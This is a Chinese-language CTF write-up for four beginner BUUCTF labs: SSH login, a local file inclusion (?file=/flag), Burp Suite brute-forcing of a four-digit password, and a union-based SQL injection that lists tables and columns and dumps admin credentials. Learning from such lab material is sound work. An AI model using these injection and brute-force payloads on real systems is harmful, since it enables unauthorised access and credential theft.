BUUCTF-Basic部分（4道）

目录

Linux Labs

BUU LFI COURSE 1

BUU BRUTE 1

 BUU SQL COURSE 1

---

Linux Labs

 第一个界面，给出了SSH
ssh 用户名：root 密码：123456 地址和端口为动态分配的
以及映射地址和端口（这个地址+端口是随机的）

node4.buuoj.cn:29804

使用xshell进行ssh进行连接，输入主机和端口号

 输入用户名和密码

成功ssh登入

在根目录下，找到了flag.txt的文件，拿到flag

BUU LFI COURSE 1

属于文件包含，这里文件包含时，不论什么类型文件都会被当作php文件执行

那么构造参数，猜测flag位置在根目录下

?file=/flag

成功回显flag内容

BUU BRUTE 1

这里是一个登录页面，使用bp抓包看一下，发现当输入错误用户名时，会回显“用户名错误”

那么我们尝试像admin，root等常用用户名，试出正确的用户名 admin，而且会回显密码为4位数字

如此可以确定思路，使用暴力破解，爆破4位数字密码（0000-9999） ，设置如下

密码四位整数，最小值为0，最大值为9999，设置递增步长为1，以探测每一个从0到9999的数字；由于密码为4位，所以对应不足四位的，需要以0补齐四位数。设置Min integer digits和Max integer digits的长度为4，设置小数点位数Min(Max) fraction digits为0

开始爆破，得到密码6490，在响应包中，可以看到flag回显 

 BUU SQL COURSE 1

上方左上角和右上角又热点和登录的选项，登陆选项尝试弱口令登录，发现无法判断用户名或者是密码是否有一项正确，放弃爆破，延题目寻找sql注入点

热点中存在三条热点测试新闻，随意点击一个抓包看一下

点击测试新闻2，发现id参数可控

payload:?id=1+and+1=1    页面正常回显；

              ?id=1+and1=2  页面没有回显，判断此处存在sql注入

 

接下来就是sql注入常规操作了，先判断回显位置

payload：?id=1+order+by+1,2  两列回显

               ?id=1+order+by+1,2,3  无回显

 判断，存在两处回显

开始判断数据库名，这里id后的参数不能是1，2，3，其他值均可

payload：?id=4+union+select+1,database()

 得到数据库名称news

判断表名

payload：

?id=4+union+select+1,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema='news')

得到两个表名admin，contents

 判断admin表的列名

payload：?id=4+union+select+1,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema='news'+and+table_name='admin')

得到三个列名id，username，password

 查询username和password的内容

payload：?id=4+union+select+1,(select+group_concat(username)+from+admin)

 得到username内容，admin

payload：?id=4+union+select+1,(select+group_concat(password)+from+admin)

 得到password的内容，a3a052083543baa047445ec732e7260a

再回到登录页面输入

username:  admin

password:  a3a052083543baa047445ec732e7260a

得到flag